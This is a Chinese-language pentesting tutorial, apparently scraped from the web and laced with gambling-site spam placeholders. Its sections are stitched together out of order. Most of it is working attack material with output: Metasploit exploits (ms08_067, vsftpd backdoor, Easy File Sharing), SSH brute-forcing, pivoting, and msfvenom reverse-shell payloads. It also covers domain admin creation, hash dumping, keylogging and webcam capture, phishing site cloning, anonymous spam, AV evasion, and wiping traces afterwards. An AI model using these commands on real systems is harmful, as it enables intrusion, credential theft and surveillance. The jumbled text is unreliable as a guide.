其中-L只能设置为攻击者的ip,不能设置为肉鸡的ip,-L设置的ip可以是攻击者的内网ip,-r也可以是目标的内网ip,两个内网之 间通过meterpreter会话的"隧道"来连通,如果-L后设置的ip是攻击者的内网ip,-r后设置的是目标机器的内网ip,portfwd通过 meterpreter会话连通两台,-l是指攻击者的监听端口,运行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口将变成监听状态(也即Attacker会开启2323端口) 这里还要注意route add命令只能是在meterpreter会话中有效,不能系统全局有效,笔者认为route add也是通过meterpreter会 话的"隧道"来实现攻击者能够访问目标机器其他网段机器的,也即在上面的Attacker通过portfwd来实现访问目标机器其他网段 机器而不能因为在portfwd模块运行前由于已经运行了route add模块而由Attacker的浏览器直接访问目标7.7.7.20:80,因为 route add只会给msf的模块提供meterpreter会话通道作为代理服务,只有meterpreter会话下可用的模块可以直接访问7.7.7.x 网段,Attacker的浏览器想直接访问7.7.7.20需要使用proxychins和msf开启的sock4代理.

Net time \域控ip

betway必威官网手机版 34

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

上面访问得到目标机器JC的80端口信息看出JC运行的是Eash File Sharing Web Server,可用msf中的模块尝试getshell,操作如 下(如果没有在meterpreter中添加路由msf是访问不到7.7.7.20的):

Copy bat.bat \域控ipc$

betway必威官网手机版 35

Linux Based Shellcode
1

msf  > use exploit/windows/http/easyfilesharing_seh  msf exploit(easyfilesharing_seh) > show options  Module options (exploit/windows/http/easyfilesharing_seh):    Name   Current Setting  Required  Description    ----   ---------------  --------  -----------    RHOST                   yes       The target address    RPORT  80               yes       The target port Exploit target:    Id  Name    --  ----    0   Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [ ] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11  0300 

At \域控ip time c:bat.bat(意料之外的错误,提示schtasks.exe,不熟)

说完监听器,最后,我们再来说payload [攻击载荷]

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

或者从JC(7.7.7.20)22端口入手:

3 通往成功的路不只有一条,添加域管账户

说白点儿其实就是个木马下载器,当目标触发payload以后,会自动去下载shellcode[其实就是beacon shell的代码]到目标系统中运行,最后成功弹回目标系统的beacon shell,

Windows Based Shellcode
1

msf > use auxiliary/scanner/ssh/ssh_enumusers  msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [ ] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [ ] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [ ] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [ ] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [ ] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [ ] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [ ] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [ ] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [ ] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [ ] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [ ] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [ ] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [ ] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [ ] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > 

Net user demo demo /ad /domain

至于在beacon shell执行的指令都是按照计划任务来的,也就是说被控端会按事先规定好的时间自动去控制端下载各种指令任务依次在目标系统中执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

然后用hydra本地用msf模块开启的1080端口的sock4代理尝试爆破:

Net group “domain admins” demo /ad /domain

首先,我们先来简单创建个payload,然后直接把它丢到目标系统中执行,看看实际的上线效果到底是个什么样子,注意,这里带红爪子的是已经拿到系统最高权限的,没爪子的基本都是系统权限暂时还比较低的

Mac Based Shellcode
1
2

root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting  [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK<><>-OK<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20   login: admin   password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# 

到了此刻,我们已经拥有域管权限了。详细的截图如下:

betway必威官网手机版 36

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers

发现有可用帐户密码admin:123456,然后再用sock4代理ssh登录:

betway必威官网手机版 37

betway必威官网手机版 38

payload加编码
命令格式:
1

root@kali:~# proxychains ssh admin@7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. admin@7.7.7.20's password:  bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24  21:32          <DIR> Application Data 2016-12-25  06:16          <DIR> Desktop 2016-12-24  18:36          <DIR> Documents 2016-12-24  18:37          <DIR> DRM 2016-12-24  21:32          <DIR> Favorites 2016-12-24  18:38          <DIR> Start Menu 2016-12-24  21:32          <DIR> Templates       0 Files                  0 bytes       7 Directories bvshell:/C/Documents and Settings/All Users$ 

betway必威官网手机版 39

betway必威官网手机版 40

msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

或者用ms08067:

betway必威官网手机版 41

betway必威官网手机版 42

常用编码:
1
2

msf > use exploit/windows/smb/ms08_067_netapi  msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST                     yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Exploit target:    Id  Name    --  ----   0   Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST    7.7.7.20         yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp):    Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)    LPORT     4444             yes       The listen port    RHOST     7.7.7.20         no        The target address Exploit target:    Id  Name    --  ----   0   Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)  meterpreter > 

第十步 域控我来了(msf p**ec反弹shell)

0x04 丰富的客户端攻击选项

x86/shikata_ga_nai
cmd/powershell_base64

成功溢出getshell后查看JC(7.7.7.20)网卡信息:

一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。

首先,尝试利用 ‘System Profiler’ 模块,搜集目标的各类机器信息,比如,目标用的什么版本的操作系统,什么浏览器,详细版本是多少,有没有装flash,flash具体版本又是多少[低版本可以挂马],看能不能看到目标内网ip段,大概目测估计下目标内网有多大,有了这些基础信息以后,后期我们就可以针对性的写信发信,还是那句话,实际中最好用域名,因为这里是实验所以才直接用的ip,发信时最好用html伪装个比较”到位”的链接,关于写信发信又是另一个比较’专业’的技术点,个人能力有限,这里暂不涉及,嘿嘿……下面就给大家简单的看下实际的效果

例子:
1

meterpreter > ipconfigInterface  1============Name         : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU          : 1520IPv4 Address : 127.0.0.1Interface 65539============Name         : Intel(R) PRO/1000 MT Desktop AdapterHardware MAC : 08:00:27:29:cd:cbMTU          : 1500IPv4 Address : 8.8.8.3IPv4 Netmask : 255.255.255.0Interface 65540============Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:e3:47:43MTU          : 1500IPv4 Address : 7.7.7.20IPv4 Netmask : 255.255.255.0meterpreter > 

先将思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大

betway必威官网手机版 43

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe

发现又出现一个8.8.8.x的网段,于是将这个网段添加路由,以便msf中的模块可以访问到8.8.8.x网段.

家也大家也都知道的:

betway必威官网手机版 44

自选模块
生成执行计算器payload例子:
1

四、Step3

1 端口转发或者socks登录域控远程桌面

betway必威官网手机版 45

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe

先直接用新的meterpreter shell看看8.8.8.x这个网段有什么机器

2 登录对方内网的一台电脑使用p**ec来反弹shell

利用’hta payload’配合’文件下载’模块向目标发送各种钓鱼链接,首先,创建一个hta的payload,这里的payload暂时只支持三种可执行格式,exe,powershell和vba(宏),实际中更推荐用powershell,成功率相对较高,好处就不多说了,免杀,灵活…

payload的坑
正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。

meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24[*] Running module against SRV03[*] ARP Scanning 8.8.8.0/24[*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)[*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)[*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)[*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) 

3 使用msf的p**ec反弹meterpreter

betway必威官网手机版 46

为了让msf中所有模块都能访问到8.8.8.x网段,在新的meterpreter会话中添加路由:

反弹需要注意要用到的知识,我们这里采用的是pse**c来反弹meterpreter,其中涉及到的知识如下:

betway必威官网手机版 47

meterpreter > run autoroute -s 8.8.8.0/24[*] Adding a route to 8.8.8.0/255.255.255.0...[ ] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20[*] Use the -p option to list all active routes 

1 msf中p**ec模块的使用

betway必威官网手机版 48

为了让Attacker的除了msf模块以外的其他应用程序能访问到8.8.8.x网段,再使用msf的开启sock4代理的模块开启另外一个端口 作为8.8.8.x网段的入口:

2 cuestom模块的使用,配合meterpreter,在payload不免杀的情况下如何使用自己Veil生成的payload

betway必威官网手机版 49

betway必威官网手机版 50

msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a  msf auxiliary(socks4a) > show options  Module options (auxiliary/server/socks4a):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    SRVHOST  172.16.0.20      yes       The address to listen on    SRVPORT  1080             yes       The port to listen on. Auxiliary action:    Name   Description    ----   -----------    Proxy   msf auxiliary(socks4a) > set SRVPORT 1081SRVPORT => 1081msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > 

详细的使用过程如下图:

betway必威官网手机版 51

解决方案是vim文件,删除文件开头两行无效的内容。
msfconsole
作用:用来在命令行下启动metasploit。

也即现在Attacker本地的1080端口的代理可以访问到7.7.7.x网段,1081端口的代理可以访问到8.8.8.x网段,然后将新开的端口 添加到proxychains的配置文件中:

betway必威官网手机版 52

betway必威官网手机版 53

betway必威官网手机版 54

root@kali:~# cat /etc/proxychains.conf | grep -v "#"dynamic_chainproxy_dns tcp_read_time_out 15000tcp_connect_time_out 8000socks4  172.16.0.20 1080  # First Pivotsocks4  172.16.0.20 1081  # Second Pivot 

betway必威官网手机版 55

betway必威官网手机版 56

启动后可看到metasploit当前版本,以及各个模块的插件数量。
auxiliary扫描模块
exploits漏洞利用模块
payloads
encoders编码模块
nops空字符模块

上面的两个代理相当于扇门的钥匙,172.16.0.20:1080是7.7.7.x的钥匙,172.16.0.20:1081是7.7.7.x后面的8.8.8.x的钥匙 ,Attacker要想访问到8.8.8.x可以通过先打开7.7.7.x的门,再打开8.8.8.x的门(因为8.8.8.x这个门在7.7.7.x这个门之后)

betway必威官网手机版 57

betway必威官网手机版 58

search寻找模块
比如寻找ms15_034漏洞的利用插件
1

使用Attacker本地的nmap扫描下8.8.8.x网段:

betway必威官网手机版 59

生成基于各类语言的shellcode,如,c,c#,java,python,powershell,ruby,raw,另外,cs也提供了可直接配合veil一起使用的选项,这里还是以最实用的powershell为例,生成好以后,想办法把脚本载入到目标系统中,这里就直接在目标cmd中载入了,实际中你可以把这个代码单独扣出来放到任何能执行ps的地方

search ms15_034

root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vvProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned  PORT   STATE SERVICE REASON  VERSION 21/tcp open  ftp     syn-ack vsftpd 2.3.4 22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp open  telnet  syn-ack Linux telnetd 80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# 

第十一步 Meterpreter获取所有用户的hash

# powershell –exec bypass –Command "& {Import-Module 'C:payload.ps1'}"

发现8.8.8.9(SK)这台机器可能有漏洞,用msf模块尝试getshell:

有了域的权限之后,如果我们还想进行深层次的控制,那么dumphash是必不可少的。首先来看看我们需要的知识:

betway必威官网手机版 60

betway必威官网手机版 61

msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   RHOST                   yes       The target address   RPORT  21               yes       The target portExploit target:   Id  Name   --  ----   0   Automaticmsf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9rhost => 8.8.8.9msf exploit(vsftpd_234_backdoor) > run[*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)[*] 8.8.8.9:21 - USER: 331 Please specify the password.[ ] 8.8.8.9:21 - Backdoor service has been spawned, handling...[ ] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)[*] Found shell.[*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd/iduid=0(root) gid=0(root)ifconfigeth0      Link encap:Ethernet  HWaddr 08:00:27:56:f1:7c            inet addr:8.8.8.9  Bcast:8.8.8.255  Mask:255.255.255.0          inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:10843 errors:0 dropped:0 overruns:0 frame:0          TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:1081842 (1.0 MB)  TX bytes:661455 (645.9 KB)          Base address:0xd010 Memory:f0000000-f0020000 lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:16436  Metric:1          RX packets:18161 errors:0 dropped:0 overruns:0 frame:0          TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:0           RX bytes:5307479 (5.0 MB)  TX bytes:5307479 (5.0 MB) 

1 msf有两个模块可以使用,一个是hashdump,此模块只能导出本地的hash,大家测试就可以知道了,另外一个是smart_hashdump,此模块可以用来导出域用户的hash.

betway必威官网手机版 62

【编辑推荐】

2 powershell有可以直接导出的模块,大家自行尝试一下

betway必威官网手机版 63

配合木马弹Shell
前面我介绍了如何使用msfvenom生成木马文件,这里我介绍如何使用msf连接上被执行的木马文件,达到控制目标服务器。
常用payload
首先我们回顾一下生成木马文件的命令,其中有一个payload的选项,常用的几个payload。linux相关payload:
1
2
3
4
5
6

3 wce,mimikatz等神器的使用

尝试利用office宏钓鱼,并不推荐直接这样搞,因为office默认是不启用宏的,不过,可以尝试配合利用一些已经爆出来的相对比较新office 0day来搞,注意平时自己用office一定要禁用无数字签证的宏,切莫信任vba

linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tcp

在这里我采用的是msf的smart_hashdump的模块。在此需要注意的是要想使使用此模块导出hash,必须要使用system的权限才行。详细的过程如下图:

betway必威官网手机版 64

windows相关payload:
1
2
3
4
5
6
7
8

betway必威官网手机版 65

betway必威官网手机版 66

windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

第十二步 曲折的探索之路

betway必威官网手机版 67

注意:含有x64只适用目标服务器为64位操作系统的,没有x64或者使用x86的只适用32位操作系统;含有meterpreter的模块会反弹meterpreter_shell,而普通的shell模块只会反弹普通的shell(反弹结果跟nc类似);reverse_tcp表示木马会主动连接目标服务器,bind_tcp表示木马会监听本地的端口,等待攻击者连接。因此生成的木马文件,要根据具体情况而定。
payload选择
前面介绍了常用的payload,那么payload选择的三大要素如下:
木马连接的方向
目标操作系统及版本
反弹的shell类型

这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了一个从webshell到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。

betway必威官网手机版 68

木马连接方向:msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试,详细参考:【渗透神器系列】nc)
目标操作系统类型查看:这个不说了!操作系统位数查看:
1

betway必威官网手机版 69

betway必威官网手机版 70

getconf LONG_BIT

根据上面的图知道,我现在控制的Session一共有5个,其中有四个是必须要获取的,分别为session1,session2

betway必威官网手机版 71

反弹shell类型:这个主要取决于反弹的shell的用途,一般执行系统命令的话普通操作系统的shell就够了。如果想要使用高级功能,比如:键盘记录,开启摄像头,添加路由等功能,可以使用meterpreter_shell。
连接木马
开启msf,启用exploit/multi/handler模块。
1
2
3
4
5
6

session4,session5。其中session1为webshell反弹所获得,第二个session2是信息分析获取到的,,session4为获取域管理员所获取,session5为域。其中session3就是我所走过的弯路,浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。

尝试向正常的exe中嵌入payload,不过,捆绑完以后的exe图标可能会被改变,你可以尝试把原来的putty.exe的图标给扣出来,然后再替换下,好好处理下免杀,之后问题基本就不太大了,从下图可以清晰地看到,当正常的程序执行完以后,我们的payload也一并被执行了[其实payload是先执行的]

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set RHOST 10.0.0.1
set LPORT 12345
exploit

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)

betway必威官网手机版 72

作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。涉及到相关的知识点:

betway必威官网手机版 73

betway必威官网手机版 74

1 删除之前添加的域管理账号

betway必威官网手机版 75

2 删除所有的使用过程中的工具

betway必威官网手机版 76

注意:这里set的payload跟生成木马使用的payload要一致,其余的参数根据选择的payload而填写。
meterpreter shell
当我们拿到目标服务器的meterpreter_shell后,可以进行很多操作。
1
2
3

3 删除自己所有的操作记录

betway必威官网手机版 77

backgroud 将msf进程放到后台
session -i 1 将进程拖回前台运行
run vnc 远程桌面的开启

4 关闭所有的meterpreter

生成传统的usb自运行payload,你需要提供一个payload[这个可以直接用cs生成,不过不免杀,最好还是用你自己处理好的马来搞]即可,官方说,对xp之前的系统最好使,win7以后的系统基本废掉了,实用性并不大,所以这里也就不详细说了

文件管理功能:
1
2
3
4
5
6
7
8

在此过程中我们一共上传了两个文件,一个bar.bat,一个64位的mimikatz抓密码工具,直接删除即可。

betway必威官网手机版 78

Download 下载文件
Edit 编辑
cat 查看
mkdir 创建
mv 移动
rm 删除
upload 上传
rmdir 删除文件夹

betway必威官网手机版 79

至于生成常规的exe payload就很简单了,指定下要挂到哪个监听器上,然后给个命中率比较高的名字保存一下,把生成的可执行文件想办法丢到目标机器上执行下,非常简单,这里就不多啰嗦了

网络及系统操作:
1
2
3
4
5
6
7
8
9
10
11

betway必威官网手机版 80

betway必威官网手机版 81

Arp 看ARP缓冲表
Ifconfig IP地址网卡
Getproxy 获取代理
Netstat 查看端口链接
Kill 结束进程
Ps 查看进程
Reboot 重启电脑
Reg 修改注册表
Shell 获取shell
Shutdown 关闭电脑
sysinfo 获取电脑信息

总结

克隆目标网站针对性挂马,提供一个你想克隆的网站,然后配好自己的url[模仿的尽量跟目标的像一点],然后带上你要执行的payload,这里的payload可以直接用msf生成,也可以像我这样用hta,当然啦,实际中这个payload肯定是精心处理过的,机会来之不易,肯定不会瞎搞,还是那句话实际写信最好用html方便把那个url给处理的更逼真

用户操作和其他功能讲解:
1
2
3
4
5
6
7
8
9
10
11

总结说点什么好呢。还是先喊口号吧——“求妹子,求师傅,求神器”。感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;作为一名程序员,我们就是想简单的coding。人生如此美好,大家何不联手,一起分享美好。

betway必威官网手机版 82

enumdesktops 用户登录数
keyscan_dump   键盘记录-下载
keyscan_start  键盘记录 - 开始
keyscan_stop   键盘记录 - 停止
Uictl      获取键盘鼠标控制权
record_mic    音频录制
webcam_chat   查看摄像头接口
webcam_list   查看摄像头列表
webcam_stream  摄像头视频获取
Getsystem    获取高权限
Hashdump    下载HASH

betway必威官网手机版 83

meterpreter添加路由
大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。
查看shell网络环境:
1

betway必威官网手机版 84

meterpreter>run get_local_subnets

betway必威官网手机版 85

添加一条通向目标服务器内网的路由
1

‘PowerShell Web Delivery’可能也是大家平时用的最多的功能模块了,其实,它就相当于msf中的web_delivery模块,会生成一段shellcode代码,然后会提供给你一个下载器,这样你就可以把这个下载器插到任何能运行powershell且能正常上网的地方,比如,典型的 chm,快捷方式……,因为只是实验,我就直接丢到目标系统的cmd中执行了

meterpreter>run autoroute -s 100.0.0.0/8 (根据目标内网网络而定)

betway必威官网手机版 86

查看路由设置:
1

betway必威官网手机版 87

meterpreter>run autoroute –p

betway必威官网手机版 88

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。
1

betway必威官网手机版 89

route print

发垃圾邮件,先把所有的目标邮箱放到一个文件中[注意,每行对应一个],然后再去找个准备用来钓鱼的邮件[直接查看原文,把html整个粘出来],写完信以后记得先预览下,看看实际效果,然后再配置好用来发送邮件的公共邮件服务器,这里本来想用protonmail邮箱服务器来发的,后来看到官方说因为加密的原因暂不支持常规的IMAP,POP3,SMTP,无奈,这里就先不演示了,非常简单,实际不明白也可以私信我……,另外,实际中大家最好用手中已有的各种匿名邮箱来发[反正只要不泄露私人信息会容易被人追踪到的邮箱都可以],这很重要……切记,图貌似给贴错了,汗……大家懂我意思就行

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。
1

betway必威官网手机版 90

